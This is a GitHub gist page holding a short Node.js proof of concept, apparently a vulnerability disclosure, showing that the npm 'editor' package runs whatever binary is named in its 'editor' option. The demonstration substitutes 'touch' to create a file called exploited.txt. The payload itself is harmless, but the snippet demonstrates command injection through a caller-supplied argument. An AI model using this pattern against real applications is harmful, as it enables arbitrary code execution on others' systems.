Skip to content

Instantly share code, notes, and snippets.

@mcoimbra
Created October 26, 2023 18:31
Show Gist options
  • Select an option

  • Save mcoimbra/2fe8092f57431f2867258546550bcd7c to your computer and use it in GitHub Desktop.

Select an option

Save mcoimbra/2fe8092f57431f2867258546550bcd7c to your computer and use it in GitHub Desktop.
Package editor: the user is able to inject a binary to be executed.
'use strict'
const editor = require('editor');
const file = 'exploited.txt';
const opts = {
editor: 'touch'
};
const cb = function() {};
editor(file, opts, cb);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment